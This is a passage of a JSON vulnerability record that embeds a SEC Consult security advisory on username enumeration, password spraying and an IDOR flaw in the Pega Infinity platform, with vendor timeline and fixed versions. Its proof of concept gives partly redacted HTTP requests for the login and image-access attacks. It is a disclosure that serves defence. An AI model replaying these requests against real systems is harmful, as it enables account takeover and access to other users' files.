          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260317-0 \u003e\n=======================================================================\n              title: Multiple vulnerabilities\n \u00a0 \u00a0 \u00a0  \u00a0 \u00a0 product: PEGA Infinity platform\n vulnerable version: CVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 CVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2\n\u00a0 \u00a0 \u00a0 fixed version: CVE-2025-62181: 24.1.4, 24.2.4, and 25.1.1 patch\n                     CVE-2025-9559: \u00a024.2.3\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-62181, CVE-2025-9559\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n           homepage:https://www.pega.com/\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2024-12-12\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Eric Kahlert\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We are Pega- The enterprise transformation company.\u2122\nOur enterprise AI decisioning and workflow automation platform delivers business\ntransforming value. Together, we partner with the world\u2019s largest organizations\nto Build for Change\u00ae.\"\n\nSource:https://www.pega.com/about\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Weak Brute-Force protection for login page (CVE-2025-62181)\nThe application\u0027s login form implements a weak login brute-force protection\nmechanism, which is only effective against multiple login attempts using\ndifferent passwords. Attacks using the same password on different users and\nusername enumeration are therefore not prevented.\n\nAn attacker can perform the following attacks:\n- Username Enumeration: An attacker can test a large list of potential usernames\n  against the login mechanism and distinguish between valid and invalid usernames\n  based on the server\u0027s response time.\n- Password Spraying: In a password spraying attack, the same password is tested\n  against many different usernames, potentially granting unauthorized access to user\n  accounts in the worst-case scenario. To exploit this vulnerability, an attacker\n  could, for example, create a script that uses the most common passwords and a list\n  of known valid usernames to attempt authentication.\n\n2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)\nAn Insecure Direct Object Reference (IDOR) occurs when an application grants direct\naccess to objects based on user input without performing sufficient authorization\nchecks. As a result, attackers can bypass authorization and directly access system\nresources, such as files. In this case the IDOR vulnerability can be used to read\nimage files from other users without setting the option to share the images with\nothers.\n\n\nProof of concept:\n-----------------\n1) Weak Brute-Force protection for login page (CVE-2025-62181)\nThis is an invalid login request:\nPOST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1\nHost: [...]\nCookie: Pega-RULES=[...]; JSESSIONID=[...]; ROUTEID=[...]\n[...]\n\npzAuth=guest\u0026UserIdentifier=PentestBenutzer_1\u0026Password=invalid_password\u0026pyActivity%3DCode-Security.Login=\u0026lockScreenID=\u0026lockScreenPassword=\u0026newPassword=\u0026confirmNewPassword=\n\nThe server response for a valid username shows a significantly higher response\ntime compared to responses with invalid usernames. An attacker can use a large\nlist of potential usernames in a script to enumerate valid usernames, as illustrated\nin the following example, see figure \u003cresponseTimeTable.png\u003e\n\nIn less than a minute, 8,000 invalid authentication attempts were made from the same\nIP address using different usernames and the same password.\n\nPassword Spraying:\nAfter enumerating valid usernames, an attacker can execute a password spraying attack by\nusing the same request method as for username enumeration. A script is used to test the\nsame password across many different usernames without triggering the brute-force protection.\nDuring this attack, 8,000 invalid authentication attempts were again made from the same\nIP address in under a minute, using different usernames and the same password.\nThe attacker would repeat this attack with a list of valid usernames and common passwords\nuntil a successful login is found.\n\nAs shown in the following example, the attack was successful with the username PentestBenutzer_1.\nSee figure \u003cpasswordSpray.png\u003e\n\n\n2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)\nIn order to verify this vulnerability, e.g. a test user \"user_1\" is logged in:\nPOST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1\nHost: [...]\nCookie: p_unknown=true%7Bapp%7D; Pega-RULES[...]; JSESSIONID=[...]; ROUTEID=[...]\n[...]\n\npzAuth=guest\u0026UserIdentifier=user_1\u0026Password=[...]\u0026pyActivity%3DCode-Security.Login=\u0026lockScreenID=\u0026lockScreenPassword=\u0026newPassword=\u0026confirmNewPassword=\n\nThe user receives the following Pega-RULES session cookie:\n\nHTTP/1.1 303 See Other\nDate: Thu, 12 Dec 2024 13:36:53 GMT\n[...]\nSET-COOKIE: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; Path=[...]; Secure; HttpOnly; SameSite=Lax;\nX-Content-Type-Options: nosniff\nConnection: close\n\nAnother user \"user_2\" uploads an image, which is a two step process:\nPOST \n/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pyActivity=ReloadSection\u0026pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb\u0026pzFromFrame=pyWorkPage\u0026pzPrimaryPageName=pyWorkPage\u0026pzKeepPageMessages=false\u0026strPHarnessClass=XXX\u0026strPHarnessPurpose=Review\u0026UITemplatingStatus=Y\u0026StreamName=pzBrowseDocument\u0026BaseReference=pyAttachmentPage\u0026StreamClass=Rule-HTML-Section\u0026bClientValidation=true\u0026FormError=NONE\u0026pyCustomError=pyCaseErrorSection\u0026PreActivity=pzUploadFileToADocument\u0026HeaderButtonSectionName=-1\u0026PagesToRemove=\u0026pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4\u0026inStandardsMode=true\u0026AJAXTrackID=1\u0026PreDataTransform=\n HTTP/1.1\nHost: [...]\nCookie: Pega-Perf=itkn=5; Pega-RULES[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; ROUTEID=[...]\nContent-Length: 32973\n[...]\n------WebKitFormBoundaryTll7wmP4P42lbosV\nContent-Disposition: form-data; name=\"$PpyAttachmentPage$ppxAttachName\"; filename=\"cat.png\"\nContent-Type: image/png\n\nPNG\n[...]\n\n\nThe upload is finalized with a second HTTP POST request:\nPOST \n/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb\u0026pzFromFrame=pyWorkPage\u0026pzPrimaryPageName=pyWorkPage\u0026AJAXTrackID=1\n HTTP/1.1\nHost: [...]\nCookie: Pega-Perf=itkn=7\u0026start; Pega-RULES=[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; \nROUTEID=[...]\nContent-Length: 2655\n[...]\n\npyActivity=SubmitModalFlowAction\u0026EXPANDEDLGLayoutGrouppyEnterCaseDetailsS1=2\u0026LGTypeLGLayoutGrouppyEnterCaseDetailsS1=tab\u0026appendUniqueIdToFileName=true\u0026$PpyAttachmentPage$ppxAttachName=\u0026$PAddRecentContent$ppyLabel=cat\u0026$PAddRecentContent$ppyDocumentAccessibleTo=Context\u0026$PAddRecentContent$ppyDocumentContextLabel=XXX\u0026$PAddRecentContent$ppyTopCaseID=FE-1001\u0026$PAddRecentContent$ppyCaseContext=XXX\u0026$PAddRecentContent$ppyClassContext=XXX\u0026$PAddRecentContent$ppyContextType=Case\u0026$PAddRecentContent$ppyContent=\u0026$PAddRecentContent$ppyDescription=\u0026$OCompositeGadget=\u0026$OControlMenu=\u0026$ODesktopWrapperInclude=\u0026$ODeterminePortalTop=\u0026$ODeveloperAssistant=\u0026$ODynamicContainerFrameLess=\u0026$ODynamicLayout=\u0026$ODynamicLayoutCell=\u0026$OEvalDOMScripts_Include=\u0026$OForm=\u0026$OGapIdentifier=\u0026$OHarness=\u0026$OHarnessStaticJSEnd=\u0026$OHarnessStaticJSStart=\u0026$OHarnessStaticScriptsClientValidation=\u0026$OHarnessStaticScriptsExprCal=\u0026$OLaunchFlow=\u0026$OMenuBar=\u0026$OMenuBarOld=\u0026$OMicroDynamicContainer=\u0026$OMobileAppNotify=\u0026$OOperatorPresenceStatusScripts=\u0026$OPMCPortalStaticScripts=\u0026$ORepeatingDynamicLayout=\u0026$ORepeatingGrid=\u0026$OSessionUser=\u0026$OSurveyStaticScripts=\u0026$OWorkformStyles=\u0026$Ocosmoslocale=\u0026$OmenubarInclude=\u0026$OpxButton=\u0026$OpxDisplayText=\u0026$OpxDropdown=\u0026$OpxDynamicContainer=\u0026$OpxGrid=\u0026$OpxGridBody=\u0026$OpxGridDataCell=\u0026$OpxGridDataRow=\u0026$OpxGridHeaderCell=\u0026$OpxGridHeaderRow=\u0026$OpxHarnessContent=\u0026$OpxHidden=\u0026$OpxIcon=\u0026$OpxLayoutContainer=\u0026$OpxLayoutHeader=\u0026$OpxLink=\u0026$OpxMenu=\u0026$OpxMicroDynamicContainer=\u0026$OpxNonTemplate=\u0026$OpxSection=\u0026$OpxTextInput=\u0026$OpxVisible=\u0026$OpxWorkArea=\u0026$OpxWorkAreaContent=\u0026$OpxWorkAreaHeader=\u0026$OpyDirtyCheckConfirm=\u0026$OpyWorkFormStandardEnd=\u0026$OpyWorkFormStandardStart=\u0026$Opycosmoscustomstyles=\u0026$OpzAppLauncher=\u0026$OpzDecimalInclude=\u0026$OpzFrameLessDCScripts=\u0026$OpzHarnessInlineScriptsEnd=\u0026$OpzHarnessInlineScriptsStart=\u0026$OpzMicroDynamicContainerScripts=\u0026$OpzPegaCompositeGadgetScripts=\u0026$OpzRuntimeToolsBar=\u0026$Opzpega_ui_harnesscontext=\u0026$Ordlincludes=\u0026$OxmlDocumentInclude=\u0026$OLGBundle=\u0026$OLayoutGroup=\u0026$OPegaSocial=\u0026$OpxHeaderCell=\u0026$OpxTextArea=\u0026$Opycosmoscustomscripts=\u0026$Opzcosmosuiscripts=\u0026$Opzpega_control_attachcontent=\u0026$OAttachmentActions=\u0026$OAttachmentInlineView=\u0026$OExternalViewerJS=\u0026$OContainerDynamicLayoutGroup=\u0026$ODynamicLayoutGroup=\u0026$Olayoutgroupincludes=\u0026$OpxAutoComplete=\u0026$OpxRadioButtons=\u0026$OpzAutoCompleteAGIncludes=\u0026$OpzCKEditorScripts=\u0026actionName=pzManageRecentContent\u0026KeepMessages=false\u0026FormError=NONE\u0026pyCustomError=pyCaseErrorSection\u0026modalSection=pyFlexModalTemplate\u0026bIsOverlay=false\u0026InterestPage=pyWorkPage\u0026HarnessType=NEW\u0026UITemplatingStatus=Y\u0026pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4\u0026inStandardsMode=true\n\n\nNow user_1 requests the image uploaded by user_2:\nGET /XXX/app/XXX/datacontent/image/DOCUMENT/DOC-1008.png HTTP/1.1\nHost: [...]\nCookie: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; \nJSESSIONID=cp7pHh8XQZvwMBc-vQ9JtZFJ5c4BEzYhWFLdcM0A.[...]; ROUTEID=[...]\nConnection: close\n\n\nThe server responds with the requested image:\n\nHTTP/1.1 200 OK\nDate: Thu, 12 Dec 2024 14:01:39 GMT\n[...]\n\n\u2030PNG\n[...]\n\nUser_1 can read all uploaded images of user_2 by guessing the filenames and\naccessing them directly.\n\n\nVulnerable / tested versions:\n-----------------------------\nAccording to the vendor, the following versions are vulnerable:\nCVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0\nCVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2\n\n\nVendor contact timeline:\n------------------------\n2025-01-14: Contacting vendor throughSecurityReport () Pega com; CSOC responds.\n2025-01-16: Sending advisory toIncidentResponse () pega com\n2025-02-04: Asking for a status update regarding the internal analysis.\n2025-02-05: Vendor received submission\n2025-02-21: Vendor requested additional information\n2025-03-03: Additional information sent to vendor\n2025-03-18: Asking for a status update.\n2025-04-15: Contacted vendor again, set deadline until end of April.\n2025-04-17: Vendor excuses delayed response, will provide further info on 18th.\n2025-04-18: Vendor provides status update regarding the two issues.\n2025-04-22: Vendor provides further status update\n2025-04-23: Sending additional details to the vendor regarding brute-force\n            detection.\n2025-04-24: Vendor acknowledges some defects, others are still reviewed.\n2025-04-29: Additional information sent to vendor\n2025-05-01: Vendor is still reviewing user enumeration, ETA for IDOR should\n            follow by the end of the week.\n2025-05-03: Vendor requested more time.\n2025-05-06: Asking vendor when the vulnerabilities will be fixed\n2025-05-08: Vendor will send timeframe on 12 May.\n2025-05-14: Vendor is targeting a solution to be available in v25.1.1 (Sept. \u002725)\n            for user enumeration, IDOR follows the patch schedule (23.1.5, 24.1.4, 24.2.3, 25.1.0)\n            herehttps://support.pega.com/pega-infinity-patch-calendar\n2025-05-15: Confirmed the vendor that we are willing to wait until September.\n2025-08-26: Contacted the vendor if the timeframe is still valid.\n2025-08-27: Vendor wants to postpone advisory re"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:41:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/8"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.pega.com/pega-infinity-patch-calendar"
        },
        {
          "url": "https://support.pega.com/support-doc/pega-security-advisory-h25-vulnerability-remediation-note"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-62181"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9559"
        },
        {
          "url": "https://www.pega.com/"
        },
        {
          "url": "https://www.pega.com/about"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260317-0 :: Multiple vulnerabilities in PEGA Infinity platform",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-62181",
              "type": "related"
            },
            {
              "destId": "CVE-2025-9559",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0257",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/8",
            "automated": true,
            "contentSha256": "d74b087c71c61beb49efc55d0281c1097d97d04d9637da35e2f69191cd99a94c",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-17T12:05:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0257"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-09T13:41:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0257"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}